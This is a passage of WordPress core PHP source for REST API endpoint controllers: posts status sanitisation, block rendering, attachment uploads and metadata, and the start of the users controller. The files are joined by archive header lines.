				'items'       => array(
					'type'    => 'integer',
				),
				'default'           => array(),
			);
		}

		if ( 'post' === $this->post_type ) {
			$query_params['sticky'] = array(
				'description'       => __( 'Limit result set to items that are sticky.' ),
				'type'              => 'boolean',
			);
		}

		/**
		 * Filter collection parameters for the posts controller.
		 *
		 * The dynamic part of the filter `$this->post_type` refers to the post
		 * type slug for the controller.
		 *
		 * This filter registers the collection parameter, but does not map the
		 * collection parameter to an internal WP_Query parameter. Use the
		 * `rest_{$this->post_type}_query` filter to set WP_Query parameters.
		 *
		 * @since 4.7.0
		 *
		 * @param array        $query_params JSON Schema-formatted collection parameters.
		 * @param WP_Post_Type $post_type    Post type object.
		 */
		return apply_filters( "rest_{$this->post_type}_collection_params", $query_params, $post_type );
	}

	/**
	 * Sanitizes and validates the list of post statuses, including whether the
	 * user can query private statuses.
	 *
	 * @since 4.7.0
	 *
	 * @param  string|array    $statuses  One or more post statuses.
	 * @param  WP_REST_Request $request   Full details about the request.
	 * @param  string          $parameter Additional parameter to pass to validation.
	 * @return array|WP_Error A list of valid statuses, otherwise WP_Error object.
	 */
	public function sanitize_post_statuses( $statuses, $request, $parameter ) {
		$statuses = wp_parse_slug_list( $statuses );

		// The default status is different in WP_REST_Attachments_Controller
		$attributes = $request->get_attributes();
		$default_status = $attributes['args']['status']['default'];

		foreach ( $statuses as $status ) {
			if ( $status === $default_status ) {
				continue;
			}

			$post_type_obj = get_post_type_object( $this->post_type );

			if ( current_user_can( $post_type_obj->cap->edit_posts ) || 'private' === $status && current_user_can( $post_type_obj->cap->read_private_posts ) ) {
				$result = rest_validate_request_arg( $status, $request, $parameter );
				if ( is_wp_error( $result ) ) {
					return $result;
				}
			} else {
				return new WP_Error( 'rest_forbidden_status', __( 'Status is forbidden.' ), array( 'status' => rest_authorization_required_code() ) );
			}
		}

		return $statuses;
	}
}
endpoints/class-wp-rest-block-renderer-controller.php000066600000010726151114277720017062 0ustar00<?php
/**
 * Block Renderer REST API: WP_REST_Block_Renderer_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.0.0
 */

/**
 * Controller which provides REST endpoint for rendering a block.
 *
 * @since 5.0.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Block_Renderer_Controller extends WP_REST_Controller {

	/**
	 * Constructs the controller.
	 *
	 * @since 5.0.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'block-renderer';
	}

	/**
	 * Registers the necessary REST API routes, one for each dynamic block.
	 *
	 * @since 5.0.0
	 */
	public function register_routes() {
		$block_types = WP_Block_Type_Registry::get_instance()->get_all_registered();

		foreach ( $block_types as $block_type ) {
			if ( ! $block_type->is_dynamic() ) {
				continue;
			}

			register_rest_route(
				$this->namespace,
				'/' . $this->rest_base . '/(?P<name>' . $block_type->name . ')',
				array(
					'args'   => array(
						'name' => array(
							'description' => __( 'Unique registered name for the block.' ),
							'type'        => 'string',
						),
					),
					array(
						'methods'             => WP_REST_Server::READABLE,
						'callback'            => array( $this, 'get_item' ),
						'permission_callback' => array( $this, 'get_item_permissions_check' ),
						'args'                => array(
							'context'    => $this->get_context_param( array( 'default' => 'view' ) ),
							'attributes' => array(
								/* translators: %s is the name of the block */
								'description'          => sprintf( __( 'Attributes for %s block' ), $block_type->name ),
								'type'                 => 'object',
								'additionalProperties' => false,
								'properties'           => $block_type->get_attributes(),
								'default'              => array(),
							),
							'post_id'    => array(
								'description' => __( 'ID of the post context.' ),
								'type'        => 'integer',
							),
						),
					),
					'schema' => array( $this, 'get_public_item_schema' ),
				)
			);
		}
	}

	/**
	 * Checks if a given request has access to read blocks.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		global $post;

		$post_id = isset( $request['post_id'] ) ? intval( $request['post_id'] ) : 0;

		if ( 0 < $post_id ) {
			$post = get_post( $post_id );

			if ( ! $post || ! current_user_can( 'edit_post', $post->ID ) ) {
				return new WP_Error(
					'block_cannot_read',
					__( 'Sorry, you are not allowed to read blocks of this post.' ),
					array(
						'status' => rest_authorization_required_code(),
					)
				);
			}
		} else {
			if ( ! current_user_can( 'edit_posts' ) ) {
				return new WP_Error(
					'block_cannot_read',
					__( 'Sorry, you are not allowed to read blocks as this user.' ),
					array(
						'status' => rest_authorization_required_code(),
					)
				);
			}
		}

		return true;
	}

	/**
	 * Returns block output from block's registered render_callback.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		global $post;

		$post_id = isset( $request['post_id'] ) ? intval( $request['post_id'] ) : 0;

		if ( 0 < $post_id ) {
			$post = get_post( $post_id );

			// Set up postdata since this will be needed if post_id was set.
			setup_postdata( $post );
		}
		$registry = WP_Block_Type_Registry::get_instance();
		$block    = $registry->get_registered( $request['name'] );

		if ( null === $block ) {
			return new WP_Error(
				'block_invalid',
				__( 'Invalid block.' ),
				array(
					'status' => 404,
				)
			);
		}

		$data = array(
			'rendered' => $block->render( $request->get_param( 'attributes' ) ),
		);
		return rest_ensure_response( $data );
	}

	/**
	 * Retrieves block's output schema, conforming to JSON Schema.
	 *
	 * @since 5.0.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		return array(
			'$schema'    => 'http://json-schema.org/schema#',
			'title'      => 'rendered-block',
			'type'       => 'object',
			'properties' => array(
				'rendered' => array(
					'description' => __( 'The rendered block.' ),
					'type'        => 'string',
					'required'    => true,
					'context'     => array( 'edit' ),
				),
			),
		);
	}
}
endpoints/class-wp-rest-attachments-controller.php000066600000064046151114277720016503 0ustar00<?php
/**
 * REST API: WP_REST_Attachments_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core controller used to access attachments via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Posts_Controller
 */
class WP_REST_Attachments_Controller extends WP_REST_Posts_Controller {

	/**
	 * Determines the allowed query_vars for a get_items() response and
	 * prepares for WP_Query.
	 *
	 * @since 4.7.0
	 *
	 * @param array           $prepared_args Optional. Array of prepared arguments. Default empty array.
	 * @param WP_REST_Request $request       Optional. Request to prepare items for.
	 * @return array Array of query arguments.
	 */
	protected function prepare_items_query( $prepared_args = array(), $request = null ) {
		$query_args = parent::prepare_items_query( $prepared_args, $request );

		if ( empty( $query_args['post_status'] ) ) {
			$query_args['post_status'] = 'inherit';
		}

		$media_types = $this->get_media_types();

		if ( ! empty( $request['media_type'] ) && isset( $media_types[ $request['media_type'] ] ) ) {
			$query_args['post_mime_type'] = $media_types[ $request['media_type'] ];
		}

		if ( ! empty( $request['mime_type'] ) ) {
			$parts = explode( '/', $request['mime_type'] );
			if ( isset( $media_types[ $parts[0] ] ) && in_array( $request['mime_type'], $media_types[ $parts[0] ], true ) ) {
				$query_args['post_mime_type'] = $request['mime_type'];
			}
		}

		// Filter query clauses to include filenames.
		if ( isset( $query_args['s'] ) ) {
			add_filter( 'wp_allow_query_attachment_by_filename', '__return_true' );
		}

		return $query_args;
	}

	/**
	 * Checks if a given request has access to create an attachment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_Error|true Boolean true if the attachment may be created, or a WP_Error if not.
	 */
	public function create_item_permissions_check( $request ) {
		$ret = parent::create_item_permissions_check( $request );

		if ( ! $ret || is_wp_error( $ret ) ) {
			return $ret;
		}

		if ( ! current_user_can( 'upload_files' ) ) {
			return new WP_Error( 'rest_cannot_create', __( 'Sorry, you are not allowed to upload media on this site.' ), array( 'status' => 400 ) );
		}

		// Attaching media to a post requires ability to edit said post.
		if ( ! empty( $request['post'] ) ) {
			$parent = get_post( (int) $request['post'] );
			$post_parent_type = get_post_type_object( $parent->post_type );

			if ( ! current_user_can( $post_parent_type->cap->edit_post, $request['post'] ) ) {
				return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to upload media to this post.' ), array( 'status' => rest_authorization_required_code() ) );
			}
		}

		return true;
	}

	/**
	 * Creates a single attachment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_Error|WP_REST_Response Response object on success, WP_Error object on failure.
	 */
	public function create_item( $request ) {

		if ( ! empty( $request['post'] ) && in_array( get_post_type( $request['post'] ), array( 'revision', 'attachment' ), true ) ) {
			return new WP_Error( 'rest_invalid_param', __( 'Invalid parent type.' ), array( 'status' => 400 ) );
		}

		// Get the file via $_FILES or raw data.
		$files = $request->get_file_params();
		$headers = $request->get_headers();

		if ( ! empty( $files ) ) {
			$file = $this->upload_from_file( $files, $headers );
		} else {
			$file = $this->upload_from_data( $request->get_body(), $headers );
		}

		if ( is_wp_error( $file ) ) {
			return $file;
		}

		$name       = basename( $file['file'] );
		$name_parts = pathinfo( $name );
		$name       = trim( substr( $name, 0, -(1 + strlen( $name_parts['extension'] ) ) ) );

		$url     = $file['url'];
		$type    = $file['type'];
		$file    = $file['file'];

		// Include image functions to get access to wp_read_image_metadata().
		require_once ABSPATH . 'wp-admin/includes/image.php';

		// use image exif/iptc data for title and caption defaults if possible
		$image_meta = wp_read_image_metadata( $file );

		if ( ! empty( $image_meta ) ) {
			if ( empty( $request['title'] ) && trim( $image_meta['title'] ) && ! is_numeric( sanitize_title( $image_meta['title'] ) ) ) {
				$request['title'] = $image_meta['title'];
			}

			if ( empty( $request['caption'] ) && trim( $image_meta['caption'] ) ) {
				$request['caption'] = $image_meta['caption'];
			}
		}

		$attachment = $this->prepare_item_for_database( $request );
		$attachment->post_mime_type = $type;
		$attachment->guid = $url;

		if ( empty( $attachment->post_title ) ) {
			$attachment->post_title = preg_replace( '/\.[^.]+$/', '', basename( $file ) );
		}

		// $post_parent is inherited from $attachment['post_parent'].
		$id = wp_insert_attachment( wp_slash( (array) $attachment ), $file, 0, true );

		if ( is_wp_error( $id ) ) {
			if ( 'db_update_error' === $id->get_error_code() ) {
				$id->add_data( array( 'status' => 500 ) );
			} else {
				$id->add_data( array( 'status' => 400 ) );
			}
			return $id;
		}

		$attachment = get_post( $id );

		/**
		 * Fires after a single attachment is created or updated via the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_Post         $attachment Inserted or updated attachment
		 *                                    object.
		 * @param WP_REST_Request $request    The request sent to the API.
		 * @param bool            $creating   True when creating an attachment, false when updating.
		 */
		do_action( 'rest_insert_attachment', $attachment, $request, true );

		// Include admin function to get access to wp_generate_attachment_metadata().
		require_once ABSPATH . 'wp-admin/includes/media.php';

		wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $file ) );

		if ( isset( $request['alt_text'] ) ) {
			update_post_meta( $id, '_wp_attachment_image_alt', sanitize_text_field( $request['alt_text'] ) );
		}

		$fields_update = $this->update_additional_fields_for_object( $attachment, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		/**
		 * Fires after a single attachment is completely created or updated via the REST API.
		 *
		 * @since 5.0.0
		 *
		 * @param WP_Post         $attachment Inserted or updated attachment object.
		 * @param WP_REST_Request $request    Request object.
		 * @param bool            $creating   True when creating an attachment, false when updating.
		 */
		do_action( 'rest_after_insert_attachment', $attachment, $request, true );

		$response = $this->prepare_item_for_response( $attachment, $request );
		$response = rest_ensure_response( $response );
		$response->set_status( 201 );
		$response->header( 'Location', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $id ) ) );

		return $response;
	}

	/**
	 * Updates a single attachment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_Error|WP_REST_Response Response object on success, WP_Error object on failure.
	 */
	public function update_item( $request ) {
		if ( ! empty( $request['post'] ) && in_array( get_post_type( $request['post'] ), array( 'revision', 'attachment' ), true ) ) {
			return new WP_Error( 'rest_invalid_param', __( 'Invalid parent type.' ), array( 'status' => 400 ) );
		}

		$response = parent::update_item( $request );

		if ( is_wp_error( $response ) ) {
			return $response;
		}

		$response = rest_ensure_response( $response );
		$data = $response->get_data();

		if ( isset( $request['alt_text'] ) ) {
			update_post_meta( $data['id'], '_wp_attachment_image_alt', $request['alt_text'] );
		}

		$attachment = get_post( $request['id'] );

		$fields_update = $this->update_additional_fields_for_object( $attachment, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php */
		do_action( 'rest_after_insert_attachment', $attachment, $request, false );

		$response = $this->prepare_item_for_response( $attachment, $request );
		$response = rest_ensure_response( $response );

		return $response;
	}

	/**
	 * Prepares a single attachment for create or update.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return WP_Error|stdClass $prepared_attachment Post object.
	 */
	protected function prepare_item_for_database( $request ) {
		$prepared_attachment = parent::prepare_item_for_database( $request );

		// Attachment caption (post_excerpt internally)
		if ( isset( $request['caption'] ) ) {
			if ( is_string( $request['caption'] ) ) {
				$prepared_attachment->post_excerpt = $request['caption'];
			} elseif ( isset( $request['caption']['raw'] ) ) {
				$prepared_attachment->post_excerpt = $request['caption']['raw'];
			}
		}

		// Attachment description (post_content internally)
		if ( isset( $request['description'] ) ) {
			if ( is_string( $request['description'] ) ) {
				$prepared_attachment->post_content = $request['description'];
			} elseif ( isset( $request['description']['raw'] ) ) {
				$prepared_attachment->post_content = $request['description']['raw'];
			}
		}

		if ( isset( $request['post'] ) ) {
			$prepared_attachment->post_parent = (int) $request['post'];
		}

		return $prepared_attachment;
	}

	/**
	 * Prepares a single attachment output for response.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Post         $post    Attachment object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $post, $request ) {
		$response = parent::prepare_item_for_response( $post, $request );
		$fields   = $this->get_fields_for_response( $request );
		$data     = $response->get_data();

		if ( in_array( 'description', $fields, true ) ) {
			$data['description'] = array(
				'raw'      => $post->post_content,
				/** This filter is documented in wp-includes/post-template.php */
				'rendered' => apply_filters( 'the_content', $post->post_content ),
			);
		}

		if ( in_array( 'caption', $fields, true ) ) {
			/** This filter is documented in wp-includes/post-template.php */
			$caption         = apply_filters( 'the_excerpt', apply_filters( 'get_the_excerpt', $post->post_excerpt, $post ) );
			$data['caption'] = array(
				'raw'      => $post->post_excerpt,
				'rendered' => $caption,
			);
		}

		if ( in_array( 'alt_text', $fields, true ) ) {
			$data['alt_text'] = get_post_meta( $post->ID, '_wp_attachment_image_alt', true );
		}

		if ( in_array( 'media_type', $fields, true ) ) {
			$data['media_type'] = wp_attachment_is_image( $post->ID ) ? 'image' : 'file';
		}

		if ( in_array( 'mime_type', $fields, true ) ) {
			$data['mime_type'] = $post->post_mime_type;
		}

		if ( in_array( 'media_details', $fields, true ) ) {
			$data['media_details'] = wp_get_attachment_metadata( $post->ID );

			// Ensure empty details is an empty object.
			if ( empty( $data['media_details'] ) ) {
				$data['media_details'] = new stdClass;
			} elseif ( ! empty( $data['media_details']['sizes'] ) ) {

				foreach ( $data['media_details']['sizes'] as $size => &$size_data ) {

					if ( isset( $size_data['mime-type'] ) ) {
						$size_data['mime_type'] = $size_data['mime-type'];
						unset( $size_data['mime-type'] );
					}

					// Use the same method image_downsize() does.
					$image_src = wp_get_attachment_image_src( $post->ID, $size );
					if ( ! $image_src ) {
						continue;
					}

					$size_data['source_url'] = $image_src[0];
				}

				$full_src = wp_get_attachment_image_src( $post->ID, 'full' );

				if ( ! empty( $full_src ) ) {
					$data['media_details']['sizes']['full'] = array(
						'file'       => wp_basename( $full_src[0] ),
						'width'      => $full_src[1],
						'height'     => $full_src[2],
						'mime_type'  => $post->post_mime_type,
						'source_url' => $full_src[0],
					);
				}
			} else {
				$data['media_details']['sizes'] = new stdClass;
			}
		}

		if ( in_array( 'post', $fields, true ) ) {
			$data['post'] = ! empty( $post->post_parent ) ? (int) $post->post_parent : null;
		}

		if ( in_array( 'source_url', $fields, true ) ) {
			$data['source_url'] = wp_get_attachment_url( $post->ID );
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';

		$data = $this->filter_response_by_context( $data, $context );

		$links = $response->get_links();

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		foreach ( $links as $rel => $rel_links ) {
			foreach ( $rel_links as $link ) {
				$response->add_link( $rel, $link['href'], $link['attributes'] );
			}
		}

		/**
		 * Filters an attachment returned from the REST API.
		 *
		 * Allows modification of the attachment right before it is returned.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param WP_Post          $post     The original attachment post.
		 * @param WP_REST_Request  $request  Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_attachment', $response, $post, $request );
	}

	/**
	 * Retrieves the attachment's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema as an array.
	 */
	public function get_item_schema() {

		$schema = parent::get_item_schema();

		$schema['properties']['alt_text'] = array(
			'description'     => __( 'Alternative text to display when attachment is not displayed.' ),
			'type'            => 'string',
			'context'         => array( 'view', 'edit', 'embed' ),
			'arg_options'     => array(
				'sanitize_callback' => 'sanitize_text_field',
			),
		);

		$schema['properties']['caption'] = array(
			'description' => __( 'The attachment caption.' ),
			'type'        => 'object',
			'context'     => array( 'view', 'edit', 'embed' ),
			'arg_options' => array(
				'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database()
				'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database()
			),
			'properties'  => array(
				'raw' => array(
					'description' => __( 'Caption for the attachment, as it exists in the database.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
				),
				'rendered' => array(
					'description' => __( 'HTML caption for the attachment, transformed for display.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
			),
		);

		$schema['properties']['description'] = array(
			'description' => __( 'The attachment description.' ),
			'type'        => 'object',
			'context'     => array( 'view', 'edit' ),
			'arg_options' => array(
				'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database()
				'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database()
			),
			'properties'  => array(
				'raw' => array(
					'description' => __( 'Description for the object, as it exists in the database.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
				),
				'rendered' => array(
					'description' => __( 'HTML description for the object, transformed for display.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
			),
		);

		$schema['properties']['media_type'] = array(
			'description'     => __( 'Attachment type.' ),
			'type'            => 'string',
			'enum'            => array( 'image', 'file' ),
			'context'         => array( 'view', 'edit', 'embed' ),
			'readonly'        => true,
		);

		$schema['properties']['mime_type'] = array(
			'description'     => __( 'The attachment MIME type.' ),
			'type'            => 'string',
			'context'         => array( 'view', 'edit', 'embed' ),
			'readonly'        => true,
		);

		$schema['properties']['media_details'] = array(
			'description'     => __( 'Details about the media file, specific to its type.' ),
			'type'            => 'object',
			'context'         => array( 'view', 'edit', 'embed' ),
			'readonly'        => true,
		);

		$schema['properties']['post'] = array(
			'description'     => __( 'The ID for the associated post of the attachment.' ),
			'type'            => 'integer',
			'context'         => array( 'view', 'edit' ),
		);

		$schema['properties']['source_url'] = array(
			'description'     => __( 'URL to the original attachment file.' ),
			'type'            => 'string',
			'format'          => 'uri',
			'context'         => array( 'view', 'edit', 'embed' ),
			'readonly'        => true,
		);

		unset( $schema['properties']['password'] );

		return $schema;
	}

	/**
	 * Handles an upload via raw POST data.
	 *
	 * @since 4.7.0
	 *
	 * @param array $data    Supplied file data.
	 * @param array $headers HTTP headers from the request.
	 * @return array|WP_Error Data from wp_handle_sideload().
	 */
	protected function upload_from_data( $data, $headers ) {
		if ( empty( $data ) ) {
			return new WP_Error( 'rest_upload_no_data', __( 'No data supplied.' ), array( 'status' => 400 ) );
		}

		if ( empty( $headers['content_type'] ) ) {
			return new WP_Error( 'rest_upload_no_content_type', __( 'No Content-Type supplied.' ), array( 'status' => 400 ) );
		}

		if ( empty( $headers['content_disposition'] ) ) {
			return new WP_Error( 'rest_upload_no_content_disposition', __( 'No Content-Disposition supplied.' ), array( 'status' => 400 ) );
		}

		$filename = self::get_filename_from_disposition( $headers['content_disposition'] );

		if ( empty( $filename ) ) {
			return new WP_Error( 'rest_upload_invalid_disposition', __( 'Invalid Content-Disposition supplied. Content-Disposition needs to be formatted as `attachment; filename="image.png"` or similar.' ), array( 'status' => 400 ) );
		}

		if ( ! empty( $headers['content_md5'] ) ) {
			$content_md5 = array_shift( $headers['content_md5'] );
			$expected    = trim( $content_md5 );
			$actual      = md5( $data );

			if ( $expected !== $actual ) {
				return new WP_Error( 'rest_upload_hash_mismatch', __( 'Content hash did not match expected.' ), array( 'status' => 412 ) );
			}
		}

		// Get the content-type.
		$type = array_shift( $headers['content_type'] );

		/** Include admin functions to get access to wp_tempnam() and wp_handle_sideload(). */
		require_once ABSPATH . 'wp-admin/includes/file.php';

		// Save the file.
		$tmpfname = wp_tempnam( $filename );

		$fp = fopen( $tmpfname, 'w+' );

		if ( ! $fp ) {
			return new WP_Error( 'rest_upload_file_error', __( 'Could not open file handle.' ), array( 'status' => 500 ) );
		}

		fwrite( $fp, $data );
		fclose( $fp );

		// Now, sideload it in.
		$file_data = array(
			'error'    => null,
			'tmp_name' => $tmpfname,
			'name'     => $filename,
			'type'     => $type,
		);

		$size_check = self::check_upload_size( $file_data );
		if ( is_wp_error( $size_check ) ) {
			return $size_check;
		}

		$overrides = array(
			'test_form' => false,
		);

		$sideloaded = wp_handle_sideload( $file_data, $overrides );

		if ( isset( $sideloaded['error'] ) ) {
			@unlink( $tmpfname );

			return new WP_Error( 'rest_upload_sideload_error', $sideloaded['error'], array( 'status' => 500 ) );
		}

		return $sideloaded;
	}

	/**
	 * Parses filename from a Content-Disposition header value.
	 *
	 * As per RFC6266:
	 *
	 *     content-disposition = "Content-Disposition" ":"
	 *                            disposition-type *( ";" disposition-parm )
	 *
	 *     disposition-type    = "inline" | "attachment" | disp-ext-type
	 *                         ; case-insensitive
	 *     disp-ext-type       = token
	 *
	 *     disposition-parm    = filename-parm | disp-ext-parm
	 *
	 *     filename-parm       = "filename" "=" value
	 *                         | "filename*" "=" ext-value
	 *
	 *     disp-ext-parm       = token "=" value
	 *                         | ext-token "=" ext-value
	 *     ext-token           = <the characters in token, followed by "*">
	 *
	 * @since 4.7.0
	 *
	 * @link http://tools.ietf.org/html/rfc2388
	 * @link http://tools.ietf.org/html/rfc6266
	 *
	 * @param string[] $disposition_header List of Content-Disposition header values.
	 * @return string|null Filename if available, or null if not found.
	 */
	public static function get_filename_from_disposition( $disposition_header ) {
		// Get the filename.
		$filename = null;

		foreach ( $disposition_header as $value ) {
			$value = trim( $value );

			if ( strpos( $value, ';' ) === false ) {
				continue;
			}

			list( $type, $attr_parts ) = explode( ';', $value, 2 );

			$attr_parts = explode( ';', $attr_parts );
			$attributes = array();

			foreach ( $attr_parts as $part ) {
				if ( strpos( $part, '=' ) === false ) {
					continue;
				}

				list( $key, $value ) = explode( '=', $part, 2 );

				$attributes[ trim( $key ) ] = trim( $value );
			}

			if ( empty( $attributes['filename'] ) ) {
				continue;
			}

			$filename = trim( $attributes['filename'] );

			// Unquote quoted filename, but after trimming.
			if ( substr( $filename, 0, 1 ) === '"' && substr( $filename, -1, 1 ) === '"' ) {
				$filename = substr( $filename, 1, -1 );
			}
		}

		return $filename;
	}

	/**
	 * Retrieves the query params for collections of attachments.
	 *
	 * @since 4.7.0
	 *
	 * @return array Query parameters for the attachment collection as an array.
	 */
	public function get_collection_params() {
		$params = parent::get_collection_params();
		$params['status']['default'] = 'inherit';
		$params['status']['items']['enum'] = array( 'inherit', 'private', 'trash' );
		$media_types = $this->get_media_types();

		$params['media_type'] = array(
			'default'           => null,
			'description'       => __( 'Limit result set to attachments of a particular media type.' ),
			'type'              => 'string',
			'enum'              => array_keys( $media_types ),
		);

		$params['mime_type'] = array(
			'default'     => null,
			'description' => __( 'Limit result set to attachments of a particular MIME type.' ),
			'type'        => 'string',
		);

		return $params;
	}

	/**
	 * Validates whether the user can query private statuses.
	 *
	 * @since 4.7.0
	 *
	 * @param mixed           $value     Status value.
	 * @param WP_REST_Request $request   Request object.
	 * @param string          $parameter Additional parameter to pass for validation.
	 * @return WP_Error|bool True if the user may query, WP_Error if not.
	 */
	public function validate_user_can_query_private_statuses( $value, $request, $parameter ) {
		if ( 'inherit' === $value ) {
			return true;
		}

		return parent::validate_user_can_query_private_statuses( $value, $request, $parameter );
	}

	/**
	 * Handles an upload via multipart/form-data ($_FILES).
	 *
	 * @since 4.7.0
	 *
	 * @param array $files   Data from the `$_FILES` superglobal.
	 * @param array $headers HTTP headers from the request.
	 * @return array|WP_Error Data from wp_handle_upload().
	 */
	protected function upload_from_file( $files, $headers ) {
		if ( empty( $files ) ) {
			return new WP_Error( 'rest_upload_no_data', __( 'No data supplied.' ), array( 'status' => 400 ) );
		}

		// Verify hash, if given.
		if ( ! empty( $headers['content_md5'] ) ) {
			$content_md5 = array_shift( $headers['content_md5'] );
			$expected    = trim( $content_md5 );
			$actual      = md5_file( $files['file']['tmp_name'] );

			if ( $expected !== $actual ) {
				return new WP_Error( 'rest_upload_hash_mismatch', __( 'Content hash did not match expected.' ), array( 'status' => 412 ) );
			}
		}

		// Pass off to WP to handle the actual upload.
		$overrides = array(
			'test_form'   => false,
		);

		// Bypasses is_uploaded_file() when running unit tests.
		if ( defined( 'DIR_TESTDATA' ) && DIR_TESTDATA ) {
			$overrides['action'] = 'wp_handle_mock_upload';
		}

		$size_check = self::check_upload_size( $files['file'] );
		if ( is_wp_error( $size_check ) ) {
			return $size_check;
		}

		/** Include admin function to get access to wp_handle_upload(). */
		require_once ABSPATH . 'wp-admin/includes/file.php';

		$file = wp_handle_upload( $files['file'], $overrides );

		if ( isset( $file['error'] ) ) {
			return new WP_Error( 'rest_upload_unknown_error', $file['error'], array( 'status' => 500 ) );
		}

		return $file;
	}

	/**
	 * Retrieves the supported media types.
	 *
	 * Media types are considered the MIME type category.
	 *
	 * @since 4.7.0
	 *
	 * @return array Array of supported media types.
	 */
	protected function get_media_types() {
		$media_types = array();

		foreach ( get_allowed_mime_types() as $mime_type ) {
			$parts = explode( '/', $mime_type );

			if ( ! isset( $media_types[ $parts[0] ] ) ) {
				$media_types[ $parts[0] ] = array();
			}

			$media_types[ $parts[0] ][] = $mime_type;
		}

		return $media_types;
	}

	/**
	 * Determine if uploaded file exceeds space quota on multisite.
	 *
	 * Replicates check_upload_size().
	 *
	 * @since 4.9.8
	 *
	 * @param array $file $_FILES array for a given file.
	 * @return true|WP_Error True if can upload, error for errors.
	 */
	protected function check_upload_size( $file ) {
		if ( ! is_multisite() ) {
			return true;
		}

		if ( get_site_option( 'upload_space_check_disabled' ) ) {
			return true;
		}

		$space_left = get_upload_space_available();

		$file_size = filesize( $file['tmp_name'] );
		if ( $space_left < $file_size ) {
			/* translators: %s: required disk space in kilobytes */
			return new WP_Error( 'rest_upload_limited_space', sprintf( __( 'Not enough space to upload. %s KB needed.' ), number_format( ( $file_size - $space_left ) / KB_IN_BYTES ) ), array( 'status' => 400 ) );
		}

		if ( $file_size > ( KB_IN_BYTES * get_site_option( 'fileupload_maxk', 1500 ) ) ) {
			/* translators: %s: maximum allowed file size in kilobytes */
			return new WP_Error( 'rest_upload_file_too_big', sprintf( __( 'This file is too big. Files must be less than %s KB in size.' ), get_site_option( 'fileupload_maxk', 1500 ) ), array( 'status' => 400 ) );
		}

		// Include admin function to get access to upload_is_user_over_quota().
		require_once ABSPATH . 'wp-admin/includes/ms.php';

		if ( upload_is_user_over_quota( false ) ) {
			return new WP_Error( 'rest_upload_user_quota_exceeded', __( 'You have used your space quota. Please delete files before uploading.' ), array( 'status' => 400 ) );
		}
		return true;
	}

}
endpoints/class-wp-rest-users-controller.php000066600000130336151114277720015325 0ustar00<?php
/**
 * REST API: WP_REST_Users_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to manage users via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Users_Controller extends WP_REST_Controller {

	/**
	 * Instance of a user meta fields object.
	 *
	 * @since 4.7.0
	 * @var WP_REST_User_Meta_Fields
	 */
	protected $meta;

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'users';

		$this->meta = new WP_REST_User_Meta_Fields();
	}

	/**
	 * Registers the routes for the objects of the controller.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route( $this->namespace, '/' . $this->rest_base, array(
			array(
				'methods'             => WP_REST_Server::READABLE,
				'callback'            => array( $this, 'get_items' ),
				'permission_callback' => array( $this, 'get_items_permissions_check' ),
				'args'                => $this->get_collection_params(),
			),
			array(
				'methods'             => WP_REST_Server::CREATABLE,
				'callback'            => array( $this, 'create_item' ),
				'permission_callback' => array( $this, 'create_item_permissions_check' ),
				'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ),
			),
			'schema' => array( $this, 'get_public_item_schema' ),
		) );

		register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<id>[\d]+)', array(
			'args' => array(
				'id' => array(
					'description' => __( 'Unique identifier for the user.' ),
					'type'        => 'integer',
				),
			),
			array(
				'methods'             => WP_REST_Server::READABLE,
				'callback'            => array( $this, 'get_item' ),
